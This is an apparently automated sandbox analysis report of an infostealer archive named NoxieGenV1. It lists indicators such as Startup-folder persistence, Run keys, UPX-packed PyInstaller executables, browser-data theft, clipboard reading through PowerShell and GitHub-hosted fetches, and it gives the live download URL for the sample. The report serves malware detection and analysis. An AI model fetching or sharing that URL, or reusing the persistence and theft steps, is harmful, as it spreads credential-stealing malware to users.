hxxps://cold7[.]gofile[.]io/download/e6bc40f5-bd8f-44a6-a23d-84b637328df4/NoxieGenV1[.]rar

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
19/02/2024, 22:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://cold7.gofile.io/download/e6bc40f5-bd8f-44a6-a23d-84b637328df4/NoxieGenV1.rar

Score

7^/10

persistence pyinstaller spyware stealer upx

Malware Config

Signatures

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.exe	main.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.exe	main.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.exe	main.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\main.exe	main.exe

Executes dropped EXE 10 IoCs

pid	Process
5976	NoxieV1.32.exe
6096	noxie1.EXE
5148	main.exe
5584	main.exe
4528	noxie.exe
4420	noxie.exe
5416	noxie.exe
2552	noxie.exe
2968	main.exe
212	main.exe

Loads dropped DLL 64 IoCs

pid	Process
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
4420	noxie.exe
4420	noxie.exe
2552	noxie.exe
2552	noxie.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000023325-348.dat	upx
behavioral1/files/0x0006000000023325-347.dat	upx
behavioral1/memory/5584-351-0x00007FFAA9CF0000-0x00007FFAAA2D8000-memory.dmp	upx
behavioral1/files/0x00060000000232fe-353.dat	upx
behavioral1/files/0x000600000002331f-360.dat	upx
behavioral1/files/0x00060000000232fc-362.dat	upx
behavioral1/files/0x0006000000023301-365.dat	upx
behavioral1/files/0x0006000000023329-385.dat	upx
behavioral1/files/0x0006000000023323-387.dat	upx
behavioral1/files/0x0006000000023328-389.dat	upx
behavioral1/memory/5584-390-0x00007FFAC4CA0000-0x00007FFAC4CAD000-memory.dmp	upx
behavioral1/memory/5584-392-0x00007FFABE310000-0x00007FFABE31D000-memory.dmp	upx
behavioral1/memory/5584-391-0x00007FFABE320000-0x00007FFABE355000-memory.dmp	upx
behavioral1/memory/5584-393-0x00007FFABDA90000-0x00007FFABDABE000-memory.dmp	upx
behavioral1/memory/5584-394-0x00007FFAA9C30000-0x00007FFAA9CEC000-memory.dmp	upx
behavioral1/memory/5584-396-0x00007FFAA97F0000-0x00007FFAA98A8000-memory.dmp	upx
behavioral1/memory/5584-399-0x00007FFAA97B0000-0x00007FFAA97C2000-memory.dmp	upx
behavioral1/memory/5584-400-0x00007FFAA9780000-0x00007FFAA97A3000-memory.dmp	upx
behavioral1/memory/5584-401-0x00007FFABE3B0000-0x00007FFABE3C9000-memory.dmp	upx
behavioral1/memory/5584-402-0x00007FFABE360000-0x00007FFABE379000-memory.dmp	upx
behavioral1/memory/5584-395-0x00007FFABD2B0000-0x00007FFABD2DB000-memory.dmp	upx
behavioral1/files/0x0006000000023304-388.dat	upx
behavioral1/memory/5584-386-0x00007FFABE380000-0x00007FFABE3AD000-memory.dmp	upx
behavioral1/memory/5584-403-0x00007FFAAA930000-0x00007FFAAA95E000-memory.dmp	upx
behavioral1/files/0x0006000000023305-384.dat	upx
behavioral1/memory/5584-404-0x00007FFAA98B0000-0x00007FFAA9C25000-memory.dmp	upx
behavioral1/files/0x0006000000023308-383.dat	upx
behavioral1/files/0x0006000000023307-382.dat	upx
behavioral1/files/0x0006000000023306-381.dat	upx
behavioral1/memory/5584-405-0x00007FFAA97D0000-0x00007FFAA97E5000-memory.dmp	upx
behavioral1/memory/5584-406-0x00007FFAA9600000-0x00007FFAA9773000-memory.dmp	upx
behavioral1/memory/5584-408-0x00007FFABE200000-0x00007FFABE20B000-memory.dmp	upx
behavioral1/memory/5584-407-0x00007FFAA95E0000-0x00007FFAA95F8000-memory.dmp	upx
behavioral1/files/0x0006000000023303-378.dat	upx
behavioral1/files/0x0006000000023302-377.dat	upx
behavioral1/files/0x0006000000023300-376.dat	upx
behavioral1/files/0x00060000000232ff-375.dat	upx
behavioral1/memory/5584-420-0x00007FFAA9470000-0x00007FFAA958C000-memory.dmp	upx
behavioral1/memory/5584-419-0x00007FFAA9590000-0x00007FFAA95B6000-memory.dmp	upx
behavioral1/files/0x00060000000232fd-374.dat	upx
behavioral1/files/0x00060000000232fb-373.dat	upx
behavioral1/files/0x0006000000023334-371.dat	upx
behavioral1/files/0x0006000000023333-370.dat	upx
behavioral1/files/0x0006000000023320-367.dat	upx
behavioral1/files/0x000600000002331e-366.dat	upx
behavioral1/memory/5584-421-0x00007FFABDA80000-0x00007FFABDA8B000-memory.dmp	upx
behavioral1/memory/5584-361-0x00007FFAC4CB0000-0x00007FFAC4CBF000-memory.dmp	upx
behavioral1/memory/5584-359-0x00007FFAC4CC0000-0x00007FFAC4CE4000-memory.dmp	upx
behavioral1/memory/5584-422-0x00007FFABD920000-0x00007FFABD92C000-memory.dmp	upx
behavioral1/memory/5584-423-0x00007FFABD690000-0x00007FFABD69B000-memory.dmp	upx
behavioral1/memory/5584-424-0x00007FFABD670000-0x00007FFABD67C000-memory.dmp	upx
behavioral1/memory/5584-426-0x00007FFABD260000-0x00007FFABD26C000-memory.dmp	upx
behavioral1/memory/5584-425-0x00007FFABD310000-0x00007FFABD31B000-memory.dmp	upx
behavioral1/memory/5584-427-0x00007FFABCB90000-0x00007FFABCB9C000-memory.dmp	upx
behavioral1/memory/5584-428-0x00007FFABCB20000-0x00007FFABCB2E000-memory.dmp	upx
behavioral1/memory/5584-429-0x00007FFABA680000-0x00007FFABA68C000-memory.dmp	upx
behavioral1/memory/5584-430-0x00007FFABA5E0000-0x00007FFABA5EB000-memory.dmp	upx
behavioral1/memory/5584-442-0x00007FFAB3AC0000-0x00007FFAB3ACC000-memory.dmp	upx
behavioral1/memory/5584-443-0x00007FFAADEB0000-0x00007FFAADEBC000-memory.dmp	upx
behavioral1/memory/5584-432-0x00007FFAB9A50000-0x00007FFAB9A5B000-memory.dmp	upx
behavioral1/memory/5584-444-0x00007FFAADE40000-0x00007FFAADE4D000-memory.dmp	upx
behavioral1/memory/5584-448-0x00007FFAADDD0000-0x00007FFAADDDC000-memory.dmp	upx
behavioral1/memory/5584-447-0x00007FFAA9410000-0x00007FFAA9422000-memory.dmp	upx
behavioral1/memory/5584-449-0x00007FFAA9180000-0x00007FFAA9403000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NoxieV1.32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	noxie1.EXE

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
100	raw.githubusercontent.com
101	raw.githubusercontent.com
114	raw.githubusercontent.com

Detects Pyinstaller 4 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x00030000000224ff-228.dat	pyinstaller
behavioral1/files/0x00030000000224ff-229.dat	pyinstaller
behavioral1/files/0x00030000000224ff-346.dat	pyinstaller
behavioral1/files/0x0007000000023287-457.dat	pyinstaller

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 48 IoCs

pid	Process
2804	msedge.exe
2804	msedge.exe
3264	msedge.exe
3264	msedge.exe
888	identity_helper.exe
888	identity_helper.exe
5656	msedge.exe
5656	msedge.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
5944	powershell.exe
5944	powershell.exe
5944	powershell.exe
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe
444	powershell.exe
444	powershell.exe
5568	powershell.exe
5568	powershell.exe
5568	powershell.exe
5604	powershell.exe
5604	powershell.exe
5604	powershell.exe
5584	main.exe
5584	main.exe
5584	main.exe
5584	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
212	main.exe
4872	powershell.exe
4872	powershell.exe
5524	powershell.exe
5524	powershell.exe
5832	powershell.exe
5832	powershell.exe
4104	powershell.exe
4104	powershell.exe
2536	powershell.exe
2536	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

description	pid	Process
Token: SeRestorePrivilege	5820	7zG.exe
Token: 35	5820	7zG.exe
Token: SeSecurityPrivilege	5820	7zG.exe
Token: SeSecurityPrivilege	5820	7zG.exe
Token: SeDebugPrivilege	5584	main.exe
Token: SeDebugPrivilege	5944	powershell.exe
Token: SeDebugPrivilege	3848	powershell.exe
Token: SeDebugPrivilege	444	powershell.exe
Token: SeDebugPrivilege	5568	powershell.exe
Token: SeDebugPrivilege	5604	powershell.exe
Token: SeDebugPrivilege	212	main.exe
Token: SeDebugPrivilege	4872	powershell.exe
Token: SeDebugPrivilege	5524	powershell.exe
Token: SeDebugPrivilege	5832	powershell.exe
Token: SeDebugPrivilege	4104	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe
3264	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3264 wrote to memory of 216	3264	msedge.exe	84
PID 3264 wrote to memory of 216	3264	msedge.exe	84
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2236	3264	msedge.exe	87
PID 3264 wrote to memory of 2804	3264	msedge.exe	85
PID 3264 wrote to memory of 2804	3264	msedge.exe	85
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86
PID 3264 wrote to memory of 2680	3264	msedge.exe	86

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cold7.gofile.io/download/e6bc40f5-bd8f-44a6-a23d-84b637328df4/NoxieGenV1.rar
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffabd2046f8,0x7ffabd204708,0x7ffabd204718
  2⤵
  PID:216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2172 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2692 /prefetch:8
  2⤵
  PID:2680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2116 /prefetch:2
  2⤵
  PID:2236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
  2⤵
  PID:644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:3896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4508 /prefetch:1
  2⤵
  PID:4444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2640 /prefetch:1
  2⤵
  PID:4208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5412 /prefetch:1
  2⤵
  PID:1144
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3604 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:888
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3604 /prefetch:8
  2⤵
  PID:2880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5856 /prefetch:1
  2⤵
  PID:3340
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5880 /prefetch:1
  2⤵
  PID:2256
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5804 /prefetch:1
  2⤵
  PID:3052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5788 /prefetch:1
  2⤵
  PID:2072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6128 /prefetch:1
  2⤵
  PID:1752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4128 /prefetch:8
  2⤵
  PID:3332
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5560 /prefetch:1
  2⤵
  PID:4784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6564 /prefetch:1
  2⤵
  PID:5344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2096,3472952650424663580,3887533753839306157,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5500 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5656

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1600

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2128

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2148

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\NoxieGenV1\" -ad -an -ai#7zMap51:82:7zEvent14495
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5820

C:\Users\Admin\Downloads\NoxieGenV1\NoxieGenV1\NoxieV1.32.exe
"C:\Users\Admin\Downloads\NoxieGenV1\NoxieGenV1\NoxieV1.32.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5976
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\noxie1.EXE
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\noxie1.EXE
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:6096
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
    3⤵
    - Executes dropped EXE
    PID:5148
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\main.exe
      4⤵
      Drops startup file
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5584
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ver"
        5⤵
        
        PID:5740
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        5⤵
        
        PID:1028
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5944
    - - C:\Windows\system32\cmd.exe
        
